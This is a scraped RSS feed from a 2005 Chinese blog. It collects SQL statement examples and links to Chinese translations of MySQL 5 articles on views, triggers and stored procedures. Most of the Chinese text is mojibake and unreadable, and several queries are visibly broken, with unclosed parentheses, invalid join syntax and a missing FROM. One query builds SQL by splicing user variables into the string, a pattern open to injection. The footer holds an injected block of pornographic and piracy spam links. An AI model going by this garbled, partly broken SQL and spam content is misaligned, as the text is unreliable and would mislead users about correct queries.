<>榪愮畻絎﹁繘琛屾瘮杈冿紝涔熷彲浠ヤ嬌鐢ˋNY 錛孖N鍜孲OME榪涜闆嗗悎鐨勫尮閰嶃?BR><BR>杞澆璇鋒敞鏄庡嚭澶勶細闄堟湅濂?<A href="http://www.tkk7.com/chenpengyi/chenpengyi">http://www.tkk7.com/chenpengyi</A></FONT></P><img src ="http://www.tkk7.com/chenpengyi/aggbug/14007.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/chenpengyi/" target="_blank">闄堟湅濂?/a> 2005-09-25 19:36 <a href="http://www.tkk7.com/chenpengyi/articles/14007.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>SQL 綺懼璇彞錛堢‘瀹炵墰錛侊級http://www.tkk7.com/chenpengyi/articles/7839.html闄堟湅濂?/dc:creator>闄堟湅濂?/author>Sat, 16 Jul 2005 16:02:00 GMThttp://www.tkk7.com/chenpengyi/articles/7839.htmlhttp://www.tkk7.com/chenpengyi/comments/7839.htmlhttp://www.tkk7.com/chenpengyi/articles/7839.html#Feedback7http://www.tkk7.com/chenpengyi/comments/commentRss/7839.htmlhttp://www.tkk7.com/chenpengyi/services/trackbacks/7839.html濡備綍浠庝竴浣嶈彍楦熻湑鍙樻垚涓洪珮鎵嬶紝鐏墊椿浣跨敤鐨凷QL璇彞鏄繀涓嶅彲灝戠殑銆傛湰鏂囨敹闆嗕簡閮ㄥ垎姣旇緝緇忓吀錛屽父鐢ㄧ殑SQL璇彞渚涘ぇ瀹跺弬鑰冿紝甯屾湜瀵瑰ぇ瀹舵湁鎵甯姪銆?

銆銆璇存槑錛氬鍒惰〃(鍙鍒剁粨鏋?婧愯〃鍚嶏細a 鏂拌〃鍚嶏細b)銆銆

銆銆SQL: select * into b from a where 1<>1

銆銆璇存槑錛氭嫹璐濊〃(鎷瘋礉鏁版嵁,婧愯〃鍚嶏細a 鐩爣琛ㄥ悕錛歜)銆銆

銆銆SQL: insert into b(a, b, c) select d,e,f from b;

銆銆璇存槑錛氭樉紺烘枃绔犮佹彁浜や漢鍜屾渶鍚庡洖澶嶆椂闂淬銆

銆銆SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

銆銆璇存槑錛氬榪炴帴鏌ヨ(琛ㄥ悕1錛歛 琛ㄥ悕2錛歜)銆銆

銆銆SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

銆銆璇存槑錛氭棩紼嬪畨鎺掓彁鍓嶄簲鍒嗛挓鎻愰啋銆銆

銆銆SQL: select * from 鏃ョ▼瀹夋帓 where datediff('minute',f寮濮嬫椂闂?getdate())>5銆銆

銆銆璇存槑錛氫袱寮犲叧鑱旇〃錛屽垹闄や富琛ㄤ腑宸茬粡鍦ㄥ壇琛ㄤ腑娌℃湁鐨勪俊鎭?

銆銆SQL: 銆銆

銆銆delete from info where not exists ( select * from infobz where info.infid=infobz.infid

銆銆璇存槑錛?-

銆銆SQL: 銆銆

銆銆SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

銆銆 FROM TABLE1,

銆銆 (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

銆銆 FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND

銆銆 FROM TABLE2

銆銆 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X,

銆銆 (SELECT NUM, UPD_DATE, STOCK_ONHAND

銆銆 FROM TABLE2

銆銆 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') =

銆銆 TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') &brvbar;&brvbar; '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y,

銆銆 WHERE X.NUM = Y.NUM 錛?錛?

銆銆 AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND B

銆銆WHERE A.NUM = B.NUM

銆銆璇存槑錛?-

銆銆SQL: 銆銆

銆銆select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and 緋誨悕縐?'"&strdepartmentname&"' and 涓撲笟鍚嶇О='"&strprofessionname&"' order by 鎬у埆,鐢熸簮鍦?楂樿冩繪垚緇?

銆銆璇存槑錛?

銆銆浠庢暟鎹簱涓幓涓騫寸殑鍚勫崟浣嶇數璇濊垂緇熻(鐢佃瘽璐瑰畾棰濊春鐢靛寲鑲ユ竻鍗曚袱涓〃鏉ユ簮錛?

銆銆SQL: 銆

銆銆SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,

銆銆 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC

銆銆FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration

銆銆 FROM TELFEESTAND a, TELFEE b

銆銆 WHERE a.tel = b.telfax) a

銆銆GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')

銆銆璇存槑錛氬洓琛ㄨ仈鏌ラ棶棰橈細銆銆

銆銆SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....

銆銆璇存槑錛氬緱鍒拌〃涓渶灝忕殑鏈嬌鐢ㄧ殑ID鍙?

銆銆SQL:銆

銆銆SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID

銆銆 FROM Handle

銆銆 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)


]]>
瀹樻柟MySQL 5 鏂扮壒鎬?瑙嗗浘錛圴iews錛?緲昏瘧 涓嬭澆錛?http://www.tkk7.com/chenpengyi/articles/7666.html闄堟湅濂?/dc:creator>闄堟湅濂?/author>Wed, 13 Jul 2005 15:56:00 GMThttp://www.tkk7.com/chenpengyi/articles/7666.htmlhttp://www.tkk7.com/chenpengyi/comments/7666.htmlhttp://www.tkk7.com/chenpengyi/articles/7666.html#Feedback20http://www.tkk7.com/chenpengyi/comments/commentRss/7666.htmlhttp://www.tkk7.com/chenpengyi/services/trackbacks/7666.html鑺變簡灝忛儴鍒嗗浗搴嗘椂闂翠紤鍋囩殑鏃墮棿錛岀粓浜庡畬鎴愪簡銆備笅闈㈡槸涓枃鐗堢殑涓嬭澆鍦板潃錛?BR>
http://www.tkk7.com/Files/chenpengyi/MySQL-Views-Translation-CN.rar
甯屾湜澶у杞澆鏃朵繚鐣欎釜浜哄強鍑哄淇℃伅錛屽惁鍒欒涓轟鏡鏉冿紝鍛靛懙銆?BR>
濡傛灉闇瑕佽嫳鏂囩増鐨勶紝鍙互鍒頒笅闈㈠湴鍧涓嬭澆錛?BR>http://dev.mysql.com/tech-resources/articles/mysql-views.pdf



]]>
MySQL鍙傝冩墜鍐屼笅杞斤紒錛堝鎴樺弸涓鍚岀炕璇戯紒錛?/title><link>http://www.tkk7.com/chenpengyi/articles/7568.html</link><dc:creator>闄堟湅濂?/dc:creator><author>闄堟湅濂?/author><pubDate>Tue, 12 Jul 2005 16:36:00 GMT</pubDate><guid>http://www.tkk7.com/chenpengyi/articles/7568.html</guid><wfw:comment>http://www.tkk7.com/chenpengyi/comments/7568.html</wfw:comment><comments>http://www.tkk7.com/chenpengyi/articles/7568.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.tkk7.com/chenpengyi/comments/commentRss/7568.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/chenpengyi/services/trackbacks/7568.html</trackback:ping><description><![CDATA[<P>榪欓噷鎻愪緵鐨勬槸鑻辨枃鐗堬細<BR><A >http://zj.onlinedown.net:82/down/mysql5.chm</A><A ></A><BR><A >http://crcfj.onlinedown.com:82/down/mysql5.chm</A><BR><A >http://gzcnc.onlinedown.net:82/down/mysql5.chm</A><BR><A >http://sccrc.onlinedown.net:82/files2/mysql5.chm</A><BR><BR>濂藉儚榪炴帴鎸備簡錛屽彲鑳芥槸涓轟簡闃叉鐩楅摼鍚?BR>澶у鍙互鍘誨崕鍐涜嚜宸辨壘銆?BR>鎯崇炕璇戣繖涓︹︿笉榪囦竴涓漢宸ョ▼澶ぇ浜嗭紝闇瑕佹垬鍙嬨傘傘?BR>鎯寵涓哄紑婧愬拰鏁版嵁搴撲簨涓氬仛鍑鴻礎鐚殑浜鴻鐣欒█錛?/P><img src ="http://www.tkk7.com/chenpengyi/aggbug/7568.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/chenpengyi/" target="_blank">闄堟湅濂?/a> 2005-07-13 00:36 <a href="http://www.tkk7.com/chenpengyi/articles/7568.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>瀹樻柟MySQL 5 鏂扮壒鎬?瑙﹀彂鍣紙Triggers錛?緲昏瘧 涓嬭澆錛?http://www.tkk7.com/chenpengyi/articles/7474.html闄堟湅濂?/dc:creator>闄堟湅濂?/author>Sun, 10 Jul 2005 15:04:00 GMThttp://www.tkk7.com/chenpengyi/articles/7474.htmlhttp://www.tkk7.com/chenpengyi/comments/7474.htmlhttp://www.tkk7.com/chenpengyi/articles/7474.html#Feedback3http://www.tkk7.com/chenpengyi/comments/commentRss/7474.htmlhttp://www.tkk7.com/chenpengyi/services/trackbacks/7474.html

浠婂ぉ緇堜簬緲昏瘧瀹屽挴錛屽搱鍝堬紝涓嬮潰鏄摼鎺ワ紝甯屾湜鑳界粰鏈夐渶瑕佺殑浜哄府鍔╋紒
http://www.tkk7.com/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar

濡傛灉闇瑕佸師鐗堢殑璇濓紝鍙互鍒頒笅闈㈠湴鍧涓嬭澆錛?BR>http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf



]]>
MySQL 5 鏂扮壒鎬?瀛樺偍榪囩▼錛坰tored procedure錛?緲昏瘧 涓嬭澆錛?/title><link>http://www.tkk7.com/chenpengyi/articles/7462.html</link><dc:creator>闄堟湅濂?/dc:creator><author>闄堟湅濂?/author><pubDate>Sun, 10 Jul 2005 13:52:00 GMT</pubDate><guid>http://www.tkk7.com/chenpengyi/articles/7462.html</guid><wfw:comment>http://www.tkk7.com/chenpengyi/comments/7462.html</wfw:comment><comments>http://www.tkk7.com/chenpengyi/articles/7462.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.tkk7.com/chenpengyi/comments/commentRss/7462.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/chenpengyi/services/trackbacks/7462.html</trackback:ping><description><![CDATA[浠ヤ笅鏄湰浜虹炕璇戠殑MySQL瀹樻柟鐨勫瓨鍌ㄨ繃紼嬫暀紼嬬殑涓枃鐗堬紝涓嬮潰鏄摼鎺ワ紝濡傛灉澶у鏈変粈涔堟兂娉曡鏉ヤ俊鍜屾垜璁ㄨ錛?A href="mailto:chenpengyi_007@163.com">chenpengyi_007@163.com</A>錛夛紝鎴栬呯暀璦銆備笅杞介摼鎺ュ涓嬶細<BR><A ><FONT color=#3f3d3d>http://hudu.net/wind/mysql5Procedure.rar</FONT></A>(鎰熻阿Wind鎻愪緵絀洪棿)<BR>鎴栬呭湪<A href="http://www.tkk7.com/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar">http://www.tkk7.com/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar</A><BR>涓嬭澆<BR>鑻ラ渶瑕佸師鐗堝彲浠ュ幓MySQL瀹樻柟緗戠珯涓嬭澆<BR>榪欓噷鎻愪緵閾炬帴<A >http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.pdf</A><img src ="http://www.tkk7.com/chenpengyi/aggbug/7462.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/chenpengyi/" target="_blank">闄堟湅濂?/a> 2005-07-10 21:52 <a href="http://www.tkk7.com/chenpengyi/articles/7462.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>感谢您访问我们的网站,您可能还对以下资源感兴趣:</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> 主站蜘蛛池模板: <a href="http://bjgelinhotel.com" target="_blank">亚洲成av人片天堂网无码】</a>| <a href="http://fsbj168.com" target="_blank">亚洲一区二区三区久久</a>| <a href="http://jiuse54.com" target="_blank">在线观看亚洲网站</a>| <a href="http://www003924.com" target="_blank">日韩毛片无码永久免费看</a>| <a href="http://05942688.com" target="_blank">中文字幕乱码亚洲无线三区</a>| <a href="http://wwwtoutoulu.com" target="_blank">国内精品免费麻豆网站91麻豆</a>| <a href="http://www-175345.com" target="_blank">亚洲av无码专区国产乱码在线观看</a>| <a href="http://10242016.com" target="_blank">aa在线免费观看</a>| <a href="http://zanyoo.com" target="_blank">亚洲精品成人无码中文毛片不卡</a>| <a href="http://xiamenwave.com" target="_blank">色播在线永久免费视频网站</a>| <a href="http://4466n.com" target="_blank">亚洲国产精品一区二区久久hs</a>| <a href="http://dzyong.com" target="_blank">国精产品一区一区三区免费视频</a>| <a href="http://www6661126.com" target="_blank">亚洲国产精品久久久天堂</a>| <a href="http://137499.com" target="_blank">最近免费中文字幕大全免费</a>| <a href="http://cuuka.com" target="_blank">亚洲av无码一区二区三区观看</a>| <a href="http://sxjttxkywl.com" target="_blank">久久不见久久见中文字幕免费 </a>| <a href="http://628669.com" target="_blank">久久精品无码专区免费东京热</a>| <a href="http://xieehuomh.com" target="_blank">亚洲精选在线观看</a>| <a href="http://tj-zhongfa.com" target="_blank">久久精品免费全国观看国产</a>| <a href="http://172pk.com" target="_blank">337P日本欧洲亚洲大胆精品</a>| <a href="http://szjmlr.com" target="_blank">亚洲午夜爱爱香蕉片</a>| <a href="http://wowo123.com" target="_blank">三年片在线观看免费观看大全动漫 </a>| <a href="http://okgou58.com" target="_blank">亚洲精品无码Av人在线观看国产 </a>| <a href="http://726zh.com" target="_blank">亚洲成AV人在线观看网址</a>| <a href="http://kanzhelu23.com" target="_blank">fc2免费人成在线视频</a>| <a href="http://gztzbj.com" target="_blank">久久综合图区亚洲综合图区</a>| <a href="http://sao350.com" target="_blank">青娱分类视频精品免费2</a>| <a href="http://fenxue520.com" target="_blank">国产亚洲一卡2卡3卡4卡新区</a>| <a href="http://v1s3u5.com" target="_blank">中文亚洲成a人片在线观看</a>| <a href="http://xxx2222.com" target="_blank">亚洲精品免费在线观看</a>| <a href="http://zibochanglong.com" target="_blank">亚洲人成电影在线观看青青</a>| <a href="http://3atv66.com" target="_blank">波多野结衣中文一区二区免费 </a>| <a href="http://52099jy.com" target="_blank">国产亚洲综合视频</a>| <a href="http://my533.com" target="_blank">亚洲精品少妇30p</a>| <a href="http://8568008.com" target="_blank">久久久久久免费视频</a>| <a href="http://528676.com" target="_blank">永久免费无码网站在线观看个</a>| <a href="http://g8zb.com" target="_blank">亚洲Av熟妇高潮30p</a>| <a href="http://kuaizhuxia.com" target="_blank">蜜桃精品免费久久久久影院 </a>| <a href="http://6789311.com" target="_blank">最好看最新的中文字幕免费</a>| <a href="http://sh-shule.com" target="_blank">亚洲国产午夜精品理论片在线播放</a>| <a href="http://kkjk123.com" target="_blank">精品亚洲视频在线观看 </a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>